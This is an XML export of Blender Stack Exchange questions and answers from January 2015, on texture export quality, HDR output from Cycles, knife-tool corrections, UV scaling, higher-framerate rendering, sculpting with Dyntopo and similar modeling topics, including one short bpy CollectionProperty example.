  <row Id="22864" PostTypeId="1" CreationDate="2015-01-07T18:33:00.197" Score="2" ViewCount="95" Body="&lt;p&gt;When I test-run my game in blender, the images look smooth. Everything looks great! When I export the game to a folder, and run it on the desktop, the images have rough edges and look very low-res. Very disappointing! What am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="10853" LastEditorUserId="2217" LastEditDate="2015-01-07T18:43:01.563" LastActivityDate="2015-01-07T18:43:01.563" Title="Game textures are low resolution after exporting" Tags="&lt;game-engine&gt;&lt;export&gt;&lt;image&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22865" PostTypeId="2" ParentId="13853" CreationDate="2015-01-07T19:33:44.773" Score="21" Body="&lt;h2&gt;The Short Answer&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I'll post a new answer here because it seems that there is a good deal of confusion, and editing the existing accepted answer isn't the most optimal way to deal with this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The answer is that Blender is already scene-referred enabled by default. In fact, the entire Blender architecture leans this way, it is just that many learning artists are unaware of the division between a scene referred and display referred working model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TL; DR If you select Cycles as the default renderer, and save as an EXR, your saved file will already be high dynamic range.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;The Longer Answer&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;So what is High Dynamic Range imaging?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we explode what we think we know about imaging, we can probably get a good handle on what HDR is, it becomes clear why Cycles renders its data in accordance with scene referred models.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the physical world, light is a strictly linear phenomenon. If you use a spot meter and measure a point in your frame at 100 units, something in the frame that is twice as illuminated will read 200 units. There is no white. There is no black. Just ratios of light from zero to infinity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's right... our values go from 0 all the way up to whatever our highest and brightest value is. This is a scene referred model.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Blender and Cycles and Scene Referred Models&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The same holds true in Blender. If you take a default cube and render it in Cycles with 30 point lights in close, the rendered output window might look odd and show the cube as blown out white. But in the internal model, nothing is further from the truth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we use the swatch to measure the values on the cube, we can see that the values in the information bar that show up extend well off into the crazy zone. The values to the left of the CM information show the internal model, and the values to the right show the values after the CM transformation. On the left then, are the internal scene referred values, and on the right we see the display referred transformation. So when we flip the various output transforms listed in the color management panel, we are changing the display output transform, and not, in fact, changing the underlying scene referred data at all. Raw, sRGB, or otherwise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By default, Blender uses a blind and ignorant clip cut that shaves off all of the excess values above the display referred value of 1.0. This means that if you save to an inappropriate file type such as JPEG, PNG, etc., the values on the right side of the CM information bar will be plopped into the file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If however you save into a data-preserving file format such as EXR, the scene referred data values will be preserved in the file format.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;In Closing&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;So the short answer to how to get HDR values out of Blender is... don't do anything, it already is! No need for Luminance. No need for software magic. Just render via Cycles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The slightly longer answer involves understanding the differences between a scene referred linear model and a low dynamic range display referred non-linear model, and why the two are vastly different. It also involves understanding why each model is different, and what important things each bring to the table regarding needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Phew... a longer explanation than likely wanted, but one that only barely does justice to the complexities of these two models and the science of pixels and light. If anyone reading this finds it at all interesting and want to further their craft, I would strongly suggest you go read the &lt;a href=&quot;http://cinematiccolor.com/&quot;&gt;Visual Effects Society Handbook available at CinematicColor.com&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="213" LastActivityDate="2015-01-07T19:33:44.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22866" PostTypeId="2" ParentId="21838" CreationDate="2015-01-07T19:49:39.723" Score="1" Body="&lt;p&gt;It has been a while, but IIRC the method to get pixel precision is via our output resolution and the scale of your objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if your resolution is 1920x1080, you can create a pixel precise plane if you set the plane's dimensions to 1.920 and 1.080. Note that if you use larger scales, your images will suffer from cubic interpolation that will degrade any textures you place on them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An orthographic camera should flatten the perspectival transform to be pixel perfect.&lt;/p&gt;&#xA;" OwnerUserId="213" LastActivityDate="2015-01-07T19:49:39.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22867" PostTypeId="2" ParentId="21839" CreationDate="2015-01-07T20:02:34.217" Score="2" Body="&lt;p&gt;You should be able to proxy, but you haven't given quite enough information to make offering a viable answer entirely clear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's assume that the TGAs are of very large dimension, say 4k. A 50% proxy would only put the resolution at 2k, which is still likely too taxing for your system if I had to wager.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best advice is to start at the lowest possible proxy resolution and build up. If proxies are failing you, then generate your own proxies using a lightweight format such as a JPG, and keep the dimensions small.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also bear in mind that the VSE isn't much of a compositor, and as such, you can seriously tax your realtime playback by stacking several semi-transparent strips. Even if proxied, the layers will all be composed on your CPU and will likely drag your system's performance well down. The tip that gandalf3 linked to is also relevant and worth respecting.&lt;/p&gt;&#xA;" OwnerUserId="213" LastActivityDate="2015-01-07T20:02:34.217" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22868" PostTypeId="1" AcceptedAnswerId="22874" CreationDate="2015-01-07T20:07:56.763" Score="11" ViewCount="2965" Body="&lt;p&gt;When using the knife tool, if I accidentally click in the wrong spot, is there a way to remove the last placed vertex instead of cancelling the whole operation and starting over? &lt;/p&gt;&#xA;" OwnerUserId="4923" LastEditorUserId="2217" LastEditDate="2015-06-01T23:25:02.593" LastActivityDate="2020-05-30T12:13:33.617" Title="Remove vertex while using knife tool?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;knife-tool&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="22869" PostTypeId="1" AcceptedAnswerId="22878" CreationDate="2015-01-07T20:36:28.543" Score="0" ViewCount="18668" Body="&lt;p&gt;I have a question for the rendered image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No matter what I do like changing the mapping into UV Maps or something like that for the texture of a material (Using image as texture), the color won't change like what I wanted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It can be shown using &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;Z&lt;/kbd&gt; (&lt;em&gt;Textured Solid&lt;/em&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but with the Blender rendering, it won't show the color, just white.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I'm using &lt;kbd&gt;CTRL&lt;/kbd&gt; + &lt;kbd&gt;Z&lt;/kbd&gt; and then choosing the &lt;em&gt;OpenGL&lt;/em&gt; render image, then the texture is shown (colorful).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NIZRu.png&quot; alt=&quot;Using OpenGL render&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ULoJC.png&quot; alt=&quot;Using Blender Render&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://obj.dropbox.com/sh/pv4bxkwrvxs006j/AADgy1kvjt-V0faqn12FhMX-a?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here is the file if you are interested&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="8396" LastEditorUserId="19307" LastEditDate="2019-07-31T16:03:27.373" LastActivityDate="2019-07-31T16:03:27.373" Title="Texture not Showing in Rendering" Tags="&lt;rendering&gt;&lt;mesh&gt;&lt;texturing&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22870" PostTypeId="1" AcceptedAnswerId="22881" CreationDate="2015-01-07T20:50:05.973" Score="11" ViewCount="11800" Body="&lt;p&gt;Is there an easy way to render an animation at a higher framerate?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like the playback speed to remain the same, but to have more in-between frames.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;As far as I can tell, the &lt;em&gt;framerate&lt;/em&gt; dropdown in the render settings only changes the playback speed.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2021-04-20T16:14:25.180" Title="How to render an animation at a higher framerate?" Tags="&lt;rendering&gt;&lt;animation&gt;" AnswerCount="1" CommentCount="7" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22871" PostTypeId="2" ParentId="19768" CreationDate="2015-01-07T20:58:22.093" Score="2" Body="&lt;p&gt;You definitely have an issue in color management, specifically regarding transfer curves, but from the information you provided it is impossible to conclusively explain exactly why or how.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A PNG, if encoded correctly, should display as it was encoded in the VSE. If you somehow managed to mangle up the transfer curve when storing it in the PNG, via the &quot;View as Render&quot; awfully named checkbox for example, all bets are off.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to properly diagnose this:&#xA;1. What were your render settings with regards to color management? Did you happen to check the &quot;View as Render&quot; toggle somewhere?&#xA;2. What file format did you save and how? For example, is it possible the file format was saved differently and merely labelled with the PNG extension?&#xA;3. What are the color space settings for both render and the VSE?&lt;/p&gt;&#xA;" OwnerUserId="213" LastActivityDate="2015-01-07T20:58:22.093" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22872" PostTypeId="1" AcceptedAnswerId="63531" CreationDate="2015-01-07T21:02:08.143" Score="10" ViewCount="21044" Body="&lt;h1&gt;Is there any way to automatically unwrap UV map proportionally to object or &quot;world&quot; size?&lt;/h1&gt;&#xA;&#xA;&lt;h2&gt;For example:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I've made two cubes, one is two times bigger than other (scale is applied). Then I unwrapped texture with Smart UV project which will try to span all faces on whole texture space(0 to 1) so bricks on left cube will be bigger than bricks on right cube.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/KqzaL.jpg&quot; alt=&quot;UV&amp;#39;s spanned on identically&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But what I want to achieve is this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0LBVD.jpg&quot; alt=&quot;proportional UV&amp;#39;s&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;In broader context:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;When I import model from Archicad (in form of OBJ) all objects have UV's in some scale (so all bricks have the same size on every imported object). And when I want to create custom object in scene I have to manually scale UV's to adjust bricks size for every new object (instead of scaling to one constant parameter).&#xA;&lt;img src=&quot;https://i.stack.imgur.com/d5veV.jpg&quot; alt=&quot;Model imported from Archicad&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9449" LastEditorUserId="9449" LastEditDate="2015-01-07T21:24:56.487" LastActivityDate="2016-09-23T13:18:28.873" Title="Unwrap UV map proportionally to object size" Tags="&lt;uv&gt;" AnswerCount="4" CommentCount="1" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22874" PostTypeId="2" ParentId="22868" CreationDate="2015-01-07T21:24:54.780" Score="8" Body="&lt;p&gt;The knife tool has no undo support.&lt;br&gt;&#xA;While it is possible to have undo history in a modal operator tool, at this time the knife tool does not. Nor is adding undo functionality planned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However after confirming the knife tool cut, there are other modeling tools that can help you get around a misplaced vertex.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;kbd&gt;X&lt;/kbd&gt; &gt; &lt;em&gt;Dissolve Vertices&lt;/em&gt;, that will delete the selected vertex, or vertices and fill the surrounding geometry.&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;V&lt;/kbd&gt; if you accidentally snapped the vertex to a vertex already on the model, then you can &lt;a href=&quot;http://www.blender.org/manual/modeling/meshes/editing/vertices.html#rip&quot; rel=&quot;nofollow noreferrer&quot;&gt;rip&lt;/a&gt; the vertex and for a new one.&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;M&lt;/kbd&gt; &gt; &lt;em&gt;At Last&lt;/em&gt; or &lt;em&gt;At First&lt;/em&gt; &lt;a href=&quot;http://www.blender.org/manual/modeling/meshes/editing/basics/deleting.html#merging-vertices&quot; rel=&quot;nofollow noreferrer&quot;&gt;Merging&lt;/a&gt;, if you placed a vertex but wanted it to connect to a vertex already on the model, you can select the two vertices and merge them at the location of the &quot;Good&quot; vertex.&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;G&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt; or &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;V&lt;/kbd&gt; &lt;a href=&quot;http://www.blender.org/manual/modeling/meshes/editing/vertices.html#vertex-slide&quot; rel=&quot;nofollow noreferrer&quot;&gt;vertex slide&lt;/a&gt;, will let you slide the selected vertex along an edge.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Another tool that adds edges is &lt;a href=&quot;http://www.blender.org/manual/modeling/meshes/editing/subdividing/vertex_connect.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Vertex Connect&lt;/a&gt;, it works by adding edges in a straight line between selected vertices.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2017-01-12T03:12:38.267" LastActivityDate="2017-01-12T03:12:38.267" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22875" PostTypeId="2" ParentId="22855" CreationDate="2015-01-07T22:21:41.207" Score="4" Body="&lt;p&gt;You can use a &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_73_release/bpy.props.html#collection-example&quot; rel=&quot;nofollow&quot;&gt;CollectionProperty&lt;/a&gt; to store a variable amount of items like a list, the properties per item need to be declared beforehand:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;class VectorPropGroup(bpy.types.PropertyGroup):&#xA;    # name = StringProperty() # this is inherited from bpy.types.PropertyGroup&#xA;    vector = bpy.props.IntVectorProperty(size=3)&#xA;&#xA;bpy.utils.register_class(VectorPropGroup)&#xA;&#xA;bpy.types.Action.my_collection = bpy.props.CollectionProperty(type=VectorPropGroup)&#xA;&#xA;action = bpy.data.actions.new(&quot;My Action&quot;)&#xA;&#xA;item = action.my_collection.add()&#xA;item.name = &quot;First&quot;&#xA;item.vector = (1,2,3)&#xA;&#xA;item = action.my_collection.add()&#xA;item.name = &quot;Second&quot;&#xA;item.vector = (2,3,4)&#xA;&#xA;print(action.my_collection[0].name, action.my_collection[0].vector[:])&#xA;print(action.my_collection[1].name, action.my_collection[1].vector[:])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It will print:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;First (1, 2, 3)&#xA;Second (2, 3, 4)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that you can't &lt;code&gt;add()&lt;/code&gt; items from within a &lt;code&gt;draw()&lt;/code&gt; method. You need to call it manually (text editor / Python console) or create an operator for the user to be used in a UI.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2015-01-07T22:21:41.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22877" PostTypeId="2" ParentId="21770" CreationDate="2015-01-07T23:46:01.903" Score="3" Body="&lt;p&gt;Is this what you're looking for?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just check the small box that says &lt;em&gt;shadeless&lt;/em&gt; in the materials tab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qIPyG.png&quot; alt=&quot;Shadeless&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2015-01-07T23:46:01.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22878" PostTypeId="2" ParentId="22869" CreationDate="2015-01-08T00:40:26.083" Score="0" Body="&lt;p&gt;I took a look at it , and you did something strange with the material . I deleted the material first&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Zp29S.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then i added a new material with the + button&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Eux7f.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then i did the steps to add a texture :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Image or movie&#xA;- Wrap mode : UV&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also turned on Ambient occlusion in the world properties&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9bnHz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My guess is that it is a bug , Or you did something i did not see.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT : also make sure you dont have extension changed unless you know what it does&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/v9tvQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;keep it on repeat .&lt;/p&gt;&#xA;" OwnerUserId="1829" LastActivityDate="2015-01-08T00:40:26.083" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="22879" PostTypeId="2" ParentId="22858" CreationDate="2015-01-08T04:05:23.417" Score="1" Body="&lt;p&gt;I don't have unity to check but I see a difference that may help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The right armature has keyframes on the bone (done in pose mode)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The left armature has keyframes on the armature itself (done in object mode)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It may be that unity doesn't support object animation on armatures which are expected to be animated in pose mode.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-01-08T04:05:23.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22880" PostTypeId="1" CreationDate="2015-01-08T05:25:34.817" Score="6" ViewCount="820" Body="&lt;p&gt;How can the following artwork be modeled in blender? Are there any technique to ease out the workflow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/X1YKy.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8110" LastEditorUserId="2217" LastEditDate="2015-01-08T15:30:45.200" LastActivityDate="2015-01-08T15:37:43.663" Title="How to model this branched sculpture?" Tags="&lt;modeling&gt;&lt;workflow&gt;&lt;sculpting&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22881" PostTypeId="2" ParentId="22870" CreationDate="2015-01-08T05:34:27.857" Score="19" Body="&lt;p&gt;Blender has settings to help with this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's start with 250 frames at 24fps&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/l9jq2.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say we want to get 4 times as many frames for the same time. Change the end frame to 1000, the frame rate to 96 (you could also leave the framerate and alter the framerate base to 0.25) and everything plays faster. Just under the framerate we have time remapping, change the new value to 400 as we have done 4x to everything else. Now when you render you will get 1000 frames and the animation will cover the same amount of movement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8fE8o.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Warning-&lt;/strong&gt; You will notice that this feels &quot;not fully supported&quot; throughout blender, a keyframe in the timeline will remain at frame 250 while the timeline is highlighted to show the render ending at 1000, the current frame marker will only move to 250, as you try and position the current frame in the timeline, dopesheet or graph editor the frame marker will lag behind the cursor. It can be strange to have the frame move to nowhere near the cursor until you remember why. I recommend you alter these settings only during rendering.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-01-08T05:34:27.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22882" PostTypeId="1" CreationDate="2015-01-08T05:54:04.647" Score="4" ViewCount="8712" Body="&lt;p&gt;According to my notes from when I have done this before:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Q. How do I bake or fix the pose to the object?&lt;/strong&gt;&#xA;A. Pose the model and then switch to Object mode. Select the model (not the armature) or shift select all the parts of the object if it isn't one single mesh. Next, add a new modifier and choose &quot;Armature&quot;. Make sure that the armature is moved to the top of the stack and in the Object dropdown menu, select the armature that you created and then press apply.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the problem that I am having is that I have followed those directions exactly, but then when I delete my armature, my pose resets and I lose the pose. It doesn't seem that it baked it at all. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is going on? How do I delete an armature but keep the baked pose?&lt;/p&gt;&#xA;" OwnerUserId="9504" LastActivityDate="2021-05-09T22:23:23.487" Title="How do I delete an armature but keep the baked pose?" Tags="&lt;armature&gt;" AnswerCount="2" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="22883" PostTypeId="2" ParentId="22872" CreationDate="2015-01-08T06:09:01.180" Score="10" Body="&lt;p&gt;UV-mapping defines a vertex on the model to a corresponding point on an image. When you have an image fit to a single face, then you make the model bigger the same vertex still maps to the same point on the image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the same material for two objects with uv coordinates you get the size variation, unless you unwrap each object and adjust the uv's to match the texture size to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wZAWZ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we change that to object coordinates the image size remains constant between models, you may also want to set the projection from flat to box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PbmNp.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Blender Internal you have the same settings under mapping -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/89kD7.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In cycles you can add a mapping node after the texture coordinates to adjust the size and position of the texture, while BI has the scale and offset right next to the coordinate mapping setting.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-01-08T06:09:01.180" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="22884" PostTypeId="2" ParentId="22880" CreationDate="2015-01-08T06:20:31.950" Score="7" Body="&lt;p&gt;You could definitely use Dynamic Topology (Dyntopo) and get something like that with the Snake Hook brush.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Start with a primitive like a cube or sphere.&#xA;Switch to Sculpt Mode.&#xA;Press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt; to toggle on Dyntopo or enable it in: &lt;em&gt;Tool Shelf&lt;/em&gt; &gt; &lt;em&gt;Tools&lt;/em&gt; &gt; &lt;em&gt;Dyntopo&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/e68Mx.png&quot; alt=&quot;sketching with the Snake Hook brush&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you decide to use Dynamic Topology then there is no need to use a Multiresolution Modifier. As you sculpt, topology will be created or tessellated dynamically where it is needed.&lt;br&gt;&#xA;Begin roughing in your shapes with a high Detail size (Maximum Edge Length) and then gradually work towards a smaller Detail pixel setting (Zooming in and out also affects detail size). The hotkey for the Detail size is &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt;.&#xA;In the &lt;em&gt;Detail Refine&lt;/em&gt; Method, choose &lt;em&gt;Subdivide Collapse&lt;/em&gt; method when using the Snake Hook Brush. Make sure to lower your Detail so that the extrusion doesn't break apart. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Retopology will need to be performed after using this method. Note: Dyntopo will destroy custom data layers such as UVs or Vertex colors attached to the mesh. Also, anytime that you leave sculpt mode (going into Edit Mode for example) will turn off Dyntopo. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consider the following workflow: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Dyntopo to create the base model&lt;/li&gt;&#xA;&lt;li&gt;Retopologize mesh&lt;/li&gt;&#xA;&lt;li&gt;Multiresolution Modifier Sculpting in incremental levels to add in final detail to the mesh.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="9504" LastEditorUserId="2217" LastEditDate="2015-01-08T15:37:43.663" LastActivityDate="2015-01-08T15:37:43.663" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22886" PostTypeId="1" CreationDate="2015-01-08T08:50:50.087" Score="4" ViewCount="6019" Body="&lt;p&gt;I'm playing around with learning how to paint textures in blender, and must have somehow enabled a strange drawing mode that causes the drawing head of my brush to lag behind the place where I'm actually drawing the stroke.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was able to paint normally earlier.  Now when I draw a stroke, there's this line from the center of my cursor to a point where my brush was earlier, and the stroke is drawn there.  It makes painting much harder and I can't figure out how to turn it off.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QeOz2.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9732" LastEditorUserId="9732" LastEditDate="2015-01-08T08:59:13.413" LastActivityDate="2018-06-07T21:57:06.917" Title="How to turn off texture painting mode where your brush cursor lags behind your mouse position?" Tags="&lt;texture-painting&gt;" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22887" PostTypeId="2" ParentId="22886" CreationDate="2015-01-08T09:06:00.130" Score="5" Body="&lt;p&gt;I turned Smooth Stroke on.  Once I unchecked that, I went back to the regular painting mode.&#xA;The smooth stroke option is found in the &lt;em&gt;Tool Shelf&lt;/em&gt; &gt; &lt;em&gt;Tools&lt;/em&gt; tab &gt; &lt;em&gt;Stroke&lt;/em&gt; section.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/sTm7F.png&quot; alt=&quot;stroke options&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9732" LastEditorUserId="2217" LastEditDate="2015-01-08T15:21:10.693" LastActivityDate="2015-01-08T15:21:10.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22888" PostTypeId="1" AcceptedAnswerId="22893" CreationDate="2015-01-08T09:57:35.993" Score="23" ViewCount="48876" Body="&lt;p&gt;I added a cylinder to my scene, rotated, resized, like this:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/g3RTQ.png&quot; alt=&quot;default cylinder&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I moved it up, because I want to make a model from this and I want it to stand on the ground:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/jmM3o.png&quot; alt=&quot;cylinder moved up&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I zoomed in and learned, that this object is not on the grid floor, it floats above it:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/1x3vb.png&quot; alt=&quot;cylinder not alined with grid floor&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My question is&lt;/strong&gt;: how can I put &lt;strong&gt;any&lt;/strong&gt; object on the floor? (Yes, right, I could move it up half it's size, but think on more complex objects, like a terrain.)&lt;/p&gt;&#xA;" OwnerUserId="1090" LastEditorUserId="2217" LastEditDate="2015-01-08T15:09:32.600" LastActivityDate="2021-04-25T22:12:46.087" Title="How to place any object on the 'floor' of a scene?" Tags="&lt;objects&gt;&lt;transforms&gt;" AnswerCount="10" CommentCount="0" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
